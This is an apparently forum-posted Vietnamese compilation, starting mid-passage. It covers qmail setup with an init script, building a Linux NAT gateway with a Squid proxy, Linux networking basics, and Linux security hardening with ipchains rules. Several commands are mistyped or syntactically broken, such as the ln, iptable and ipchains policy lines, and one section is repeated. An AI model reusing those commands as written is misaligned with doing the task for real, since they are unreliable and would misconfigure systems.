tù-------> /etc/rc.d/rc.local đễ khõi động -----> /var/qmail/rc

QUOTE
/etc/rc.d/rc.local

if [ -x /var/qmail/rc ]; then
echo -n "qmail server daemon start...."
/var/qmail/rc &
echo "."
fi  


nê'u bạn cho những usre kha'c sài nữa tih` hãy tạo thêm mailbox (maildir) cho họ . tâ't nhiên cũa root thì phãi tạo rồi .....
ca'ch "chê'" tạo mail box ... bạn co' thễ làm trong /var/qmail/bin/maildirmake ~user/Maildir
trong lu'c bạn add vô thì trong /var/qmail/bin/maildirmake /etc/skel
no' sẽ tự dộng làm maildir cho bạn
(co' thễ make Maildir trong etc/skel/user .. thì lu'c bạn ađd thêm user thì trong úser dir sẽ tự độg thêm cho bạn một Maildir) <--- nghe no'i là vậy nhưng mà tơ' th chưa thũ ... bạn nào thực hành thì làm thữ nha .

Maildir

QUOTE
su user ID
cd $HOME
/var/qmail/bin/maildirmake ~/Maildir
echo ./Maildir/ > .qmail
exit  


Mailbox

QUOTE
su user ID
cd $HOME
echo ./Mailbox > .qmail
exit
cd /var/mail
ln -s $HOME/Mailbox user ID  


Check prosess

QUOTE
ps -A | grep qmail
26776 pts/5 0:00 qmail-se
26779 pts/5 0:00 qmail-rs
26780 pts/5 0:00 qmail-cl
26778 pts/5 0:00 qmail-ls  



Tạo script tự động khỏi động dị ch vụ qmail
Code:
#!/bin/sh
#
# qmail: /var/qmail
# chkconfig: 2345 80 30
# description: Qmail is a Mail Transport Agent, which is the program \
# that moves mail from one machine to another.
# processname: qmail
# pidfile: /var/run/qmail
#
# Source function library.
. /etc/rc.d/init.d/functions
prog="qmail"
PATH=/var/qmail/bin:/usr/local/bin:/bin:/usr/bin
RETVAL=0
[ -f /var/qmail/rc ] || exit 0
start() {
# Start daemons.
echo "Starting qmail."
csh -cf '/var/qmail/rc &'
tcpserver -v 0 110 /var/qmail/bin/qmail-popup [vysa.jp] /usr/local/bin/checkpassword \
/var/qmail/bin/qmail-pop3d Maildir 2>&1 \
| /var/qmail/bin/splogger pop3d 3 &
tcpserver -v -u [qmaild.506] -g [nofiles.505] -x /etc/tcpserver/tcp.smtp.cdb \
0 smtp /var/qmail/bin/qmail-smtpd 2>&1 | /var/qmail/bin/splogger smtpd 3 &
echo
echo "Started Qmail "
}
stop() {
# Stop daemons.
echo "Shutting down qmail."
PID=`/bin/ps -aefw | grep qmail | awk '{print $2}'`
if [ ! -z "$PID" ] ; then
/bin/kill ${PID} 1> /dev/null 2>&1
fi
echo
rm -f /var/run/qmail
}
case "$1" in
start)
start
;;
stop)
stop
;;
restart)
stop
start
;;
*)
echo "Usage: Qmail {start|stop|restart} - one option at a time"
exit 1
esac
exit 0
Tác giả: becamehacker

Một giải pháp cho việc xây dựng một mạng truy cập Internet ổn định là dùng server chạy hệ điều hành Linux. Hiện nay, Linux đang được coi là một trong những hệ điều hành tốt nhất cho môi trường mạng. Giải pháp này giúp giảm chi phí đầu tư về phần cứng cho server, tăng tốc độ của mạng cục bộ và bảo đảm một môi trường mạng chạy ổn định.

Một cách tổng quát, mạng được xây dựng trên mô hình client-server. Server là một máy chủ truy cập trực tiếp Internet và chạy trên nền hệ điều hành Linux, thực hiện các dịch vụ như cache proxy server, DHCP server, Samba server. Các máy client thông thường có thể chạy trên hệ điều hành Windows hoặc cả Linux nữa, cùng truy xuất Internet thông qua proxy server. Phổ biến nhất là hình thức truy cập Internet thông qua modem kết nối với line điện thoại.

Server kết nối với mạng cục bộ thông qua một card giao tiếp mạng (NIC), trong trường hợp này tôi giả sử đặt địa chỉ IP tĩnh cho máy server là 192.168.1.1; subnet mask là 255.255.255.0.

Các máy con có thể được cấp IP động bởi DHCP server hoặc có thể gán IP tĩnh cho từng máy, từ 192.168.1.2 -255/24.

Để cấu hình IP cho NIC, bạn dùng ifconfig, ví dụ:


QUOTE
#ifconfig eth0 192.168.1.1/255.255.255.0  


Một cách khác mà bạn có thể dùng là trình network config bằng lệnh:


QUOTE
#netconfig  


Hoặc dùng #redhat-config-network từ dòng lệnh để chạy chương trình cấu hình cho card mạng (NIC) và modem.

Để cho phép đặc tính IP forwarding trên server, bạn cần thực hiện lệnh sau:


QUOTE
#echo “1” >/proc/sys/net/ipv4/ip_forward  


Bạn có thể dùng lệnh sau để chỉ định modem. Giả sử modem của bạn gắn vào cổng COM2, tức là ttyS1


QUOTE
#/ln -s/ dev/modem/ dev/ttyS1  



Các file cấu hình quan trọng của mạng:


QUOTE
etc/resolv.conf  

: Chỉ định địa chỉ IP của DNS server và search domain.

QUOTE
/etc/sysconfig/network  

: Chỉ định tìm đường (routing) và thông tin các host của tất cả các giao tiếp mạng.

QUOTE
etc/sysconfig/network-scripts/ifcfg-<interface-name>  

chứa thông tin cấu hình cho mỗi network interface, chẳng hạn đối với modem là ifcfg-ppp0. File này sẽ tự động được tạo nếu bạn dùng wvdial, KPPP, Network Administrator Tool.

Nếu bạn coi server như một gateway, bạn dùng masquerading cho máy trong mạng nội bộ như sau:

QUOTE
#/sbin//iptable –t nat –A POSTROUTING –o ppp0 –j MASQUERADE  


Đó là đối với modem. Còn nếu đối với một card mạng đã được ISP gán IP tĩnh, chẳng hạn eth0, ta làm như sau, với x.x.x.x là IP do ISP cung cấp:

QUOTE
#/sbin//iptable –t nat –A POSTROUTING –o eth0 –j SNAT –to x.x.x.x  


Masquerade: Nếu một trong những máy thuộc mạng cục bộ muốn gửi thông tin ra bên ngoài thì nó sẽ giả thông tin được gởi như chính thông tin từ máy Linux làm gateway này. (Các máy cục bộ không được cấp địa chỉ IP thực). Tương tự cho chiều ngược lại, các gói dữ liệu gửi đến từ bên ngoài, máy chủ sẽ phân tích và tự động chuyển thông tin đó đến đúng máy tính tương ứng bên trong mạng nội bộ. Như vậy, mạng nội bộ coi như được cách ly, mặc dù chúng có thể trao đổi thông tin với bên ngoài.

Việc thiết kế cho các máy con truy cập Internet thông qua proxy server sẽ giúp giảm chi phí đường truyền của kết nối Internet. Tất cả các gói dữ liệu đi từ Internet vào mạng đều được lưu trữ trong bộ nhớ đệm (cache) của server, và do đó khi một yêu cầu truy xuất đến thông tin từ Internet mà đã được truy xuất trước đó rồi thì có thể thông tin đó đã nằm trên cache, server chỉ việc chuyển thẳng dữ liệu đó đến máy con mà không cần phải tốn chi phí tải lại từ Internet về trong mỗi lần truy cập. Ta dùng chương trình squid của Linux làm proxy server.

Cấu hình SQUID:

Khi squid đã được cài đặt, bạn cần cấu hình squid từ file
QUOTE
/etc/squid/squid.conf  


Theo mặc định, port để “lắng nghe” các proxy client là 3128. Bạn có thể thêm vào port 8080 như sau: Trỏ tới phần #http_port 3128, bỏ dấu
QUOTE
“#”

đi và thêm vào port 8080:

QUOTE
http_port 3128 8080  


Còn rất nhiều cấu hình trong file squid.conf, bạn có thể tự mình sửa. Sau đó, bạn có thể khởi động squid:

QUOTE
#/etc/rc.d/init.d/squid start  



Để các máy con có thể truy xuất web, bạn cần cấu hình lại web browser.
Đối với Internet Explorer, bạn mở Internet Options, chọn Connections và bấm vào LAN Settings, không chọn Automatically detect settings. Trong phần proxy server, chọn use a proxy server. Trong trường hợp Address, bạn nhập vào địa chỉ IP của Squid Proxy (192.168.1.1), port là 8080.

Ngoài ra, bạn có thể cấu hình để các máy client trong mạng được cấp IP động, dùng DHCP server, chia sẻ máy in và tài nguyên đĩa, dữ liệu với nhau bằng Samba server.
Mạng và Linux
Làm việc nhiều với mạng, chắc chắn bạn càng nghe nói nhiều về Linux - hệ điều hành trẻ trung đầy sinh lực mà thời gian gần đây đã được cho là đối thủ cân tài, cân sức với Microsoft Windows NT. Do là hệ điều hành cho nhiều người sử dụng, với phần nhân (kernel) được thiết kế chức năng mạng ngay từ ban đầu nên Linux là ứng cử viên hệ điều hành mạng sáng giá.

Vì thế hãy xem xét Linux khi bạn đang dự định thiết lập một mạng máy tính nghiêm túc, đó là chưa kể chi phí cho mạng này rất thấp. Ngoài ra, sự hỗ trợ của Linux cho X Windows cho phép bạn sử dụng được hầu hết những ứng dụng X có trên Internet: trình duyệt Netscape như Navigator và Communicator, hoặc X11amp MP3. Đúng vậy, bạn có thể đã có những ứng dụng này trên Windows, nhưng kinh nghiệm Internet của bạn sẽ tiến nhanh hơn bằng con đường Linux. Tính ổn định và sức đề kháng tốt cũng là hai yếu tố khiến Linux trở thành hệ điều hành cao cấp dành cho những tác vụ quan trọng - vượt hơn hẳn Windows.

Thoạt đầu Linux làm bạn ái ngại, nhất là khi so sánh với vẻ thân thiện, khả ái, cắm-là-chạy (plug and play) của môi trường Windows 95/98. Cần khẳng định là cài đặt và sử dụng Linux không dễ dàng song cũng không quá khó như một số người thường nghĩ. Hơn nữa, yếu tố miễn phí cũng đáng quan tâm đấy chứ! Và chưa hết, nếu đang làm việc trong môi trường mạng, sự hiểu biết về Unix sẽ giúp ích cho công việc của bạn, và nhờ Linux, việc tìm hiểu về một hệ điều hành thông dụng sẽ đỡ nhọc công hơn.

Linux - hệ điều hành linh hoạt

Linux có đáp ứng được những tiêu chuẩn CNTT về mặt thương mại? Nó có đủ sức mạnh và tính linh hoạt cần thiết? Hiển nhiên, khả năng tính toán xí nghiệp với Linux là một chủ đề lớn, trong khuôn khổ giới hạn của bài báo này thì chỉ xin nêu một vài điểm nổi bật mà thôi.

Đầu tiên, Linux là hệ điều hành thích hợp cho máy trạm và tùy thuộc vào cách thức xác lập cấu hình, Linux thỏa mãn được những yêu cầu chuyên biệt cho thương mại. Linux có thể sử dụng làm môi trường phát triển, hub truyền thông, và với những ứng dụng chạy trên X Windows, nó có thể đảm nhận cả vai trò một máy để bàn truyền thống.

Hai là, có một thứ mà Linux có thể thực hiện tốt hơn những hệ thống khác, đó là khả năng phục vụ. Với những tính năng truyền thông và mạng cực mạnh, Linux là hệ điều hành server lý tưởng cho môi trường tính toán xí nghiệp.

Linux - server quản lý tập tin và in ấn

Linux được phân phối cùng với SAMBA - bộ giao thức SMB miễn phí - cho phép truy cập tập tin và máy in trên máy Linux từ máy trạm DOS, Win95, Win98 và Windows NT trên mạng cục bộ. Điều này có nghĩa là Linux hoạt động như một file server. Một tính năng tuyệt vời khác là có thể cấu hình SAMBA để quản trị bảo mật: hoặc thông qua những chức năng gốc của Unix, hoặc bằng server password (Windows NT). SAMBA còn cung cấp phần mềm cho client, cho phép máy trạm Linux truy cập tập tin trên máy Windows.

Linux - server thư điện tử

Ngay cả khi bạn không muốn kết nối mạng LAN với Internet, đây cũng vẫn là lựa chọn thú vị do Linux có nhiều phần mềm về truyền thông thích hợp để bạn xây dựng mạng Intranet cộng tác mà không phải mất thêm phí tổn phần mềm. Dịch vụ đơn giản nhất có lẽ là sendmail - chương trình phục vụ mail truyền thống của Unix, cho phép gửi email trên mạng cộng tác hoặc Internet. Với hệ thống mail cho xí nghiệp, bạn chỉ cần tạo lập các tài khoản người dùng và chương trình nhận mail cho những máy trên mạng LAN.

Trong mạng Intranet phức tạp hơn, có lẽ bạn còn muốn triển khai những dịch vụ ftp, Usenet và Web server. Có rất nhiều phần mềm Web server miễn phí, và còn kèm theo ngay trong bản Linux của bạn (có thể là httpd). Một Web server thông dụng nữa là Apache, bạn có thể tải chương trình này tại địa chỉ http://www.apache.org/.

Linux - server cho WAN hoặc gateway

Thông thường, mọi sự trở nên phức tạp và tốn kém hơn nếu bạn đi quá giới hạn của LAN. Tuy nhiên, việc kết nối mạng diện rộng (WAN) với Linux chỉ là một sự mở rộng chức năng LAN. Thông thường, bạn có thể triển khai PPP bằng kết nối thông qua modem hay tân tiến hơn thì bằng đường dây thuê bao và kết nối ISDN. Linux có cả PPP và SLIP, hỗ trợ bức tường lửa, che chắn IP (IP masquerading), giấu password (nhằm tăng cường chống bẻ khóa, tập tin lưu trữ password sẽ được đặt tại /etc/shadow thay vì /etc/passwd), NFS và NIS - là những điểm bắt đầu khá tốt với WAN.

Nếu say mê Internet, hẳn bạn đã nghe nói đến TCP/IP (Transmission Control Protocol/Internet Protocol), bộ giao thức này cung cấp nền tảng phần mềm cho các hệ thống mạng máy tính liên kết với nhau trên khắp Internet. Linux sử dụng bộ giao thức chuẩn TCP/IP, bộ giao thức truyền thông Unix-Unix, thường được gọi là UUCP (Unix to Unix Copy Protocol) - và nhiều phương thức truyền thông qua cổng tuần tự khác.

Tính năng mạng của Linux rất linh động, cho phép cấu hình hệ thống mạng với quy mô từ mạng SME LAN cho đến mạng cộng tác trải rộng khắp thế giới. Bạn cũng nên biết rằng TCP/IP đã được sử dụng gần 2 thập kỷ qua và có hàng triệu người dùng hiện còn tin tưởng vào bộ giao thức này. Vì thế, nó rất thích hợp với môi trường cộng tác và những ứng dụng then chốt. Hơn nữa, Linux hỗ trợ đầy đủ cho TCP/IP cùng với những tính năng cao cấp như bức tường lửa, che chắn địa chỉ IP.

Trong môi trường quy mô trung bình, bước đầu đến với mạng có lẽ là kết nối một máy đơn Linux với Internet. Điều này thực hiện khá dễ dàng nếu bạn có modem và tài khoản dial-up tới một nhà cung cấp dịch vụ Internet (ISP) nào đó: xác lập dịch vụ PPP (Point-to-Point Protocol) và chọn tùy chọn TCP/IP trong khi cấu hình phần nhân Linux. Trong một số trường hợp, bộ giao thức cũ SLIP vẫn được sử dụng thay vì PPP, nhưng có nhiều nhà cung cấp dịch vụ vẫn đưa ra loại tài khoản SLIP được triển khai trên nền phần mềm mô phỏng PPP, vì vậy, bạn vẫn có khả năng sử dụng PPP trên máy trạm. Phần khó khăn nhất có lẽ là xác lập PPP ở máy trạm kể cả sửa đổi lại một số tập tin cấu hình trong thư mục /etc/ppp. Còn một cách khác là sử dụng chương trình linuxconf để cấu hình tính năng dial-out của PPP hay SLIP.

Chưa hết: bạn có thể cấu hình máy Linux thành trạm gateway Internet trong mạng LAN của bạn. Điều này có nghĩa là cho phép nhiều máy cùng sử dụng và chia sẻ một tài khoản Internet - một ý tưởng rất tuyệt nếu bạn dự định sử dụng chung truy cập Internet cho 2 hoặc 3 máy. Có thể cấu hình Linux thành một server SLIP hay PPP để truy cập bằng modem, hay thậm chí thành hẳn một nút Internet thực sự.

Hầu hết người dùng cộng tác đều quan tâm đến việc có một mạng LAN, để tập trung và chia sẻ những dữ liệu quan trọng, tạo điều kiện thuận lợi trong truyền thông nội bộ. Kết nối nhiều máy Linux thành một mạng LAN không khó khăn lắm: mỗi máy chỉ cần một card Ethernet, dây cáp thích hợp và một vài thiết bị mạng như hub Ethernet.

Linux hỗ trợ nhiều card mạng Ethernet (như 3Com, D-Link,...), tự động nhận ra cấu hình của card LAN vào lúc khởi động để khởi tạo lớp phần mềm giao tiếp mạng theo đúng cấu hình này. Mỗi máy cần có một địa chỉ IP và tên máy chủ (host name) riêng để giao tiếp với nhau trên mạng (điều này cũng giống như kiểu cấu hình được sử dụng trên những mạng Windows).

Sau khi đã thiết lập mạng xong, bạn có thể sử dụng rất nhiều ứng dụng mạng có sẵn như mail, chương trình đọc tin (elm, pine, rn, nn, và tin) được sử dụng với mail server (sendmail) và news server NNTP. Một số công cụ thông dụng khác như telnet hoặc rlogin cho phép bạn đăng nhập và thi hành các lệnh trên một máy khác; FTP (File Transfer Protocol) để truyền tập tin giữa các máy trên mạng; finger để tìm kiếm thông tin về người dùng trên mạng cục bộ hay Internet. Bạn sẽ kinh ngạc về khối lượng thông tin đồ sộ "nhặt" được chỉ bằng một lệnh finger đơn giản. Người dùng cộng tác cũng muốn có một cơ sở dữ liệu cho phép chia sẻ thông tin tập trung chẳng hạn như dữ liệu khách hàng, danh mục sản phẩm, đơn đặt hàng, hoá đơn, ... Linux cung cấp một hệ thống ổn định và đáng tin cậy cho loại ứng dụng này. Trong hệ thống client/server, máy trạm gửi yêu cầu về cơ sở dữ liệu đến server Linux và sẽ nhận được kết quả dưới dạng thức SQL. Kỹ thuật này làm giảm lưu lượng trên mạng xuống mức thấp nhất và phân bố tải một cách cân bằng giữa những máy trạm.

Linux được phân phối cùng với NFS (Network File System), một hệ thống file phân bố cho phép chia sẻ tập tin trên toàn bộ mạng Linux, nghĩa là việc truy cập tập tin ở máy khác được thực hiện như thể chúng đang được lưu trữ trên đĩa cứng cục bộ. Ngoài ra còn có NIS (Network Information Service), cho phép hệ thống tự động thu thập thông tin về tài khoản người dùng, nhóm, đặc quyền truy cập, và thông tin từ những server khác trên mạng. Nói tóm lại, NFS và NIS cho phép nhiều server Linux, mạng LAN, WAN hoạt động như một hệ thống nhất.

Cuối cùng, có nhiều bộ phần mềm gắn liền với Linux, được dùng để xây dựng các "mạng tạp chủng". Những bộ phần mềm này tích hợp server Linux trong một mạng gồm các client với nhiều hệ điều hành khác nhau như Windows 3.1, Windows 95, NT, Novell, và Macintosh. Với bộ giao thức SAMBA, Linux có thể cung cấp dịch vụ file và in ấn. SAMBA cho phép máy Windows tìm duyệt và truy cập tập tin thông qua Windows Explorer và File Manager. Chương trình Mars NetWare Emulator cung cấp những chức năng của một file server Netware cho máy trạm chạy DOS và Windows (bạn có thể tải xuống từ địa chỉ http://www.compu-art.de/mars_nwe). Và giờ đây là thời điểm đúng đắn nhất nếu bạn đang có một mạng Novell hoặc dự định cài đặt trong tương lai gần.

Tăng cường an ninh cho hệ thống Linux

Linux đã tạo ra một sự bùng nổ trong lĩnh vực tin học và ngày càng trở nên phổ biến hiện nay. Rất nhiều các công ty, tổ chức trên thế giới chấp nhận Linux như là một platform cho sản phẩm của họ, cũng như nhiều công ty, ISPs sử dụng máy chủ Linux như là các Internet gateway. Vấn đề an toàn an ninh cho hệ thống Linux ngày càng trở nên quan trọng và bức thiết hơn. Tài liệu này sẽ cho bạn một cái nhìn tổng quát về an toàn hệ thống và những hướng dẫn giúp tăng cường mức độ an toàn cho hệ thống Linux của bạn. (Tài liệu này được báo cáo tại hội thảo Linux Việt Nam vào tháng 12/2000 nên có một số phần đã cũ so với hiện nay.)

GIỚI THIỆU

Cùng với sự phát triển không ngừng của truyền thông kỹ thuật số, Internet và sự phát triển nhảy vọt của nền công nghiệp phần mềm, bảo mật máy tính là một vấn đề ngày càng trở nên quan trọng. Cần phải hiểu rằng không có hệ thống máy tính nào là an toàn tuyệt đối. Tất cả những gì bạn có thể làm là giúp cho hệ thống của bạn trở nên an toàn hơn.

Kể từ khi Linux được phát triển một cách rộng rãi và nhanh chóng, đặc biệt là trong các giao dịch kinh doanh quan trọng, an ninh là một vấn đề quyết định sự sống còn của Linux. Với hàng trăm công cụ bảo vệ sẵn có, người dùng Linux được trang bị tốt hơn để ngăn chặn và duy trì một hệ thống an toàn. Linux không những hoạt động tốt mà còn có những tính năng và sản phẩm liên quan cho phép xây dựng một môi trường tương đối an toàn.

NHỮNG NGUY CƠ AN NINH TRÊN LINUX

Linux và các ứng dụng trên nó có thể không ít các lỗ hổng an ninh hơn những hệ điều hành khác. Theo quan điểm của một số chuyên gia máy tính, Linux có tính an toàn cao hơn các hệ điều hành của Microsoft, vì các sản phẩm của Microsoft không được xem xét kỹ lưỡng và chặt chẽ bằng các sản phẩm mã nguồn mở như Linux. Hơn nữa, Linux dường như là "miễn nhiễm" với virus máy tính (hiện tại đã có xuất hiện một vài loại virus hoạt động trên môi trường Linux nhưng không ảnh hưởng gì mấy đến người dùng Linux). Nhưng một hệ thống Linux được cấu hình không tốt sẽ tệ hơn nhiều so với một hệ thống Microsoft được cấu hình tốt !!! Khi có được một chính sách an ninh tốt và hệ thống được cấu hình theo đúng chính sách đó thì sẽ giúp bạn tạo được một hệ thống an toàn (ở mức mà chính sách của bạn đưa ra).

Nhưng sự an toàn không phải là thứ có thể đạt được như một mục tiêu cuối cùng. Đúng hơn đó là tập hợp của những cách cài đặt, vận hành và bảo trì một hệ điều hành, mạng máy tính, ... Nó phụ thuộc vào các hoạt động hàng ngày của hệ thống, người dùng và người quản trị. Bạn phải bắt đầu từ một nền tảng ban đầu và từ đó cải thiện tính an toàn của hệ thống của bạn nhiều nhất có thể được mà vẫn đảm bảo các hoạt động bình thường của hệ thống.

XEM XÉT CHÍNH SÁCH AN NINH CỦA BẠN

Kết nối vào Inernet là nguy hiểm cho hệ thống mạng của bạn với mức an toàn thấp. Từ những vấn đề trong các dịch vụ TCP/IP truyền thống, tính phức tạp của việc cấu hình máy chủ, các lỗ hổng an ninh bên trong quá trình phát triển phần mềm và nhiều nhân tố khác góp phần làm cho những hệ thống máy chủ không được chuẩn bị chu đáo có thể bị xâm nhập và luôn tồn tại những nguy cơ tiềm tàng về vấn đề an toàn trong đó.

Mục đích của một chính sách an toàn hệ thống là quyết định một tổ chức sẽ phải làm như thế nào để bảo vệ chính nó. Để có được một chính sách an ninh hiệu quả, người xây dựng các chính sách này phải hiểu và có thể kết hợp tất cả các thông tin, yêu cầu, ...

Khi một tình huống xảy ra nằm ngoài dự kiến, chẳng hạn một sự xâm nhập trái phép vào hệ thống của bạn, câu hỏi lớn nhất là "sẽ phải làm gì đây ?"

Không may là có hàng triệu câu trả lời khác nhau cho câu hỏi đó. Nếu một người mà chưa từng phải đối phó với một kẻ xâm nhập trước đây thì kẻ xâm nhập có thể dễ dàng biến mất vì các dấu vết đã trở nên qúa cũ và không còn hữu ích nữa.

Những sai sót trong chính sách an ninh không chỉ liên quan đến những kẻ xâm nhập, mà còn liên quan đến những vấn đề bình thường như thời tiết, thiên tai, cháy, nổ, hư hỏng thiết bị,... Do vậy, việc thiết lập một chính sách an ninh tốt cho việc giải quyết những sự cố phải được lên kế hoạch kỹ lưỡng, được xem xét và chứng nhận bởi người có quyền hạn trong công ty.

Một chính sách an ninh tốt nên bao gồm các vấn đề sau :


QUOTE
Chính sách phục hồi dữ liệu khi có sự cố
Chính sách phục hồi hệ thống trong trường hợp hư hỏng thiết bị
Chính sách, cách thức điều tra những kẻ xâm nhập trái phép
Chính sách, cách thức điều tra khi công ty bị cáo buộc xâm nhập vào các hệ thống khác
Cách thức, quy trình và nơi thông báo sự xâm nhập trái phép từ bên ngoài hay gây ra bởi các nhân viên của mình.
Chính sách an ninh về mặt vật lý của hệ thống
...  


Bạn có thể nhờ tư vấn của các công ty, tổ chức làm dịch vụ tư vấn về an toàn máy tính để giúp bạn xây dụng một chính sách an ninh tốt. Các công ty này có các chuyên gia về an toàn máy tính, họ có sẵn các biểu mẫu chính sách an ninh nên có thể thiết lập nhanh chóng các chính sách mà bao gồm tất cả các mặt trong việc an toàn hệ thống máy tính.

TĂNG CƯỜNG AN NINH CHO KERNEL

Mặc dù thừa hưởng những đặc tính của hệ thống UNIX và khá an ninh hơn một số hệ điều hành khác, hệ thống GNU/Linux hiện nay vẫn tồn tại những nhược điểm sau:

Quyền của user ‘root’ có thể bị lạm dụng. User ‘root’ có thể dễ dàng thay đổi bất kỳ điều gì trên hệ thống.
Nhiều file hệ thống có thể dễ dàng bị sửa đổi. Nhiều file hệ thống quan trọng như
QUOTE
/bin/login  

có thể bị sửa đổi bởi hacker để cho phép đăng nhập không cần mật khẩu. Nhưng những file loại này lại hiếm khi nào thay đổi trừ phi khi nâng cấp hệ thống.
Các module có thể được dùng để chặn kernel. “Loadable Kernel Module” là một thiết kế tốt để tăng cường tính uyển chuyển, linh hoạt cho kernel. Nhưng sau khi một module được nạp vào kernel, nó sẽ trở thành một phần của kernel và có thể hoạt động như kernel nguyên thủy. Vì vậy, các chưng trình mục đích xấu có thể được viết dạng module và nạp vào kernel, rồi sau đó hoạt động như một virus.
Các process không được bảo vệ. Các process như web server có thể trở thành mục tiêu bị tấn công của hacker sau khi thâm nhập hệ thống.
Để cải thiện tính an ninh cho các server Linux, chúng ta cần có một kernel an toàn hơn. Điều này có thể thực hiện được bằng cách sửa đổi kernel nguyên thuỷ bằng các ‘patch’ tăng cường tính an ninh cho hệ thống. Các patch này có các tính năng chính yếu sau:

Bảo vệ – bảo vệ các file hệ thống quan trọng khỏi sự thay đổi ngay cả với user root. Bảo vệ các process quan trọng khỏi bị ngừng bởi lệnh ‘kill’. Chặn các tác vụ truy cập IO mức thấp (RAW IO) của các chương trình không được phép.
Phát hiện – Phát hiện và cảnh báo với người quản trị khi server bị scan. Cũng như khi có các tác vụ trên hệ thống vi phạm các luật (rules) định trước.
Đối phó – Khi phát hiện sự vi phạm trên hệ thống, các ghi nhận chi tiết sẽ được thực hiện cũng như có thể ngừng lập tức phiên làm việc gây ra
Một vài công cụ sửa đổi kernel được sử dụng rộng rãi là LIDS (Linux Intrusion Detection System), Medusa, ...

AN TOÀN CHO CÁC GIAO DỊCH TRÊN MẠNG

Có rất nhiều dịch vụ mạng truyền thống giao tiếp thông qua giao thức văn bản không mã hoá, như TELNET, FTP, RLOGIN, HTTP, POP3. Trong các giao dịch giữa người dùng với máy chủ, tất cả các thông tin dạng gói được truyền qua mạng dưới hình thức văn bản không được mã hoá. Các gói tin này có thể dễ dàng bị chặn và sao chép ở một điểm nào đó trên đường đi. Việc giải mã các gói tin này rất dễ dàng, cho phép lấy được các thông tin như tên người dùng, mật khẩu và các thông tin quan trọng khác. Việc sử dụng các giao dịch mạng được mã hoá khiến cho việc giải mã thông tin trở nên khó hơn và giúp bạn giữ an toàn các thông tin quan trọng. Các kỹ thuật thông dụng hiện nay là IPSec, SSL, TLS, SASL và PKI.

Quản trị từ xa là một tính năng hấp dẫn của các hệ thống UNIX. Người quản trị mạng có thể dễ dàng truy nhập vào hệ thống từ bất kỳ nơi nào trên mạng thông qua các giao thức thông dụng như telnet, rlogin. Một số công cụ quản trị từ xa được sử dụng rộng rãi như linuxconf, webmin cũng dùng giao thức không mã hoá. Việc thay thế tất cả các dịch vụ mạng dùng giao thức không mã hoá bằng giao thức có mã hoá là rất khó. Tuy nhiên, bạn nên cung cấp việc truy cập các dịch vụ truyền thống như HTTP/POP3 thông qua SSL, cũng như thay thế các dịch vụ telnet, rlogin bằng SSH.


AN TOÀN CHO CÁC GIAO DỊCH TRÊN MẠNG

Có rất nhiều dịch vụ mạng truyền thống giao tiếp thông qua giao thức văn bản không mã hoá, như
QUOTE
TELNET, FTP, RLOGIN, HTTP, POP3  


. Trong các giao dịch giữa người dùng với máy chủ, tất cả các thông tin dạng gói được truyền qua mạng dưới hình thức văn bản không được mã hoá. Các gói tin này có thể dễ dàng bị chặn và sao chép ở một điểm nào đó trên đường đi. Việc giải mã các gói tin này rất dễ dàng, cho phép lấy được các thông tin như tên người dùng, mật khẩu và các thông tin quan trọng khác. Việc sử dụng các giao dịch mạng được mã hoá khiến cho việc giải mã thông tin trở nên khó hơn và giúp bạn giữ an toàn các thông tin quan trọng. Các kỹ thuật thông dụng hiện nay là

QUOTE
IPSec, SSL, TLS, SASL và PKI.  


Quản trị từ xa là một tính năng hấp dẫn của các hệ thống UNIX. Người quản trị mạng có thể dễ dàng truy nhập vào hệ thống từ bất kỳ nơi nào trên mạng thông qua các giao thức thông dụng như telnet, rlogin. Một số công cụ quản trị từ xa được sử dụng rộng rãi như linuxconf, webmin cũng dùng giao thức không mã hoá. Việc thay thế tất cả các dịch vụ mạng dùng giao thức không mã hoá bằng giao thức có mã hoá là rất khó. Tuy nhiên, bạn nên cung cấp việc truy cập các dịch vụ truyền thống như HTTP/POP3 thông qua SSL, cũng như thay thế các dịch vụ telnet, rlogin bằng SSH.

LINUX FIREWALL

An toàn hệ thống luôn luôn là một vấn đề sống còn của mạng máy tính và firewall là một thành phần cốt yếu cho việc đảm bảo an ninh.

Một firewall là một tập hợp các qui tắc, ứng dụng và chính sách đảm bảo cho người dùng truy cập các dịch vụ mạng trong khi mạng bên trong vẫn an toàn đối với các kẻ tấn công từ Internet hay từ các mạng khác. Có hai loại kiến trúc firewall cơ bản là : Proxy/Application firewall và filtering gateway firewall. Hầu hết các hệ thống firewall hiện đại là loại lai (hybrid) của cả hai loại trên.

Nhiều công ty và nhà cung cấp dịch vụ Internet sử dụng máy chủ Linux như một Internet gateway. Những máy chủ này thường phục vụ như máy chủ mail, web, ftp, hay dialup. Hơn nữa, chúng cũng thường hoạt động như các firewall, thi hành các chính sách kiểm soát giữa Internet và mạng của công ty. Khả năng uyển chuyển khiến cho Linux thu hút như là một thay thế cho những hệ điều hành thương mại.

Tính năng firewall chuẩn được cung cấp sẵn trong kernel của Linux được xây dựng từ hai thành phần :

QUOTE
ipchains và IP Masquerading  

.

là một cơ chế lọc gói tin IP. Những tính năng của IP Chains cho phép cấu hình máy chủ Linux như một filtering gateway/firewall dễ dàng. Một thành phần quan trọng khác của nó trong kernel là IP Masquerading, một tính năng chuyển đổi địa chỉ mạng (network address translation- NAT) mà có thể che giấu các địa chỉ IP thực của mạng bên trong.

Để sử dụng ipchains, bạn cần thiết lập một tập các luật mà qui định các kết nối được cho phép hay bị cấm. Ví dụ:

QUOTE
# Cho phép các kết nối web tới Web Server của bạn
/sbin/ipchains -A your_chains_rules -s 0.0.0.0/0 www -d 192.16.0.100 1024: -j ACCEPT

# Cho phép các kết nối từ bên trong tới các Web Server bên ngoài
/sbin/ipchains -A your_chains_rules -s 192.168.0.0/24 1024: -d 0.0.0.0/0 www -j ACCEPT

# Từ chối truy cập tất cả các dịch vu khác
/sbin/ipchains -P your_chains_rules input DENY  


Ngoài ra, bạn có thể dùng các sản phẩm firewall thương mại như Check Point FireWall-1, Phoenix Adaptive Firewall, Gateway Guardian, XSentry Firewall, Raptor, ... hay rất nhiều các phiên bản miễn phí, mã nguồn mở cho Linux như T.Rex Firewall, Dante, SINUS, TIS Firewall Toolkit, ...

DÙNG CÔNG CỤ DÒ TÌM ĐỂ KHẢO SÁT HỆ THỐNG

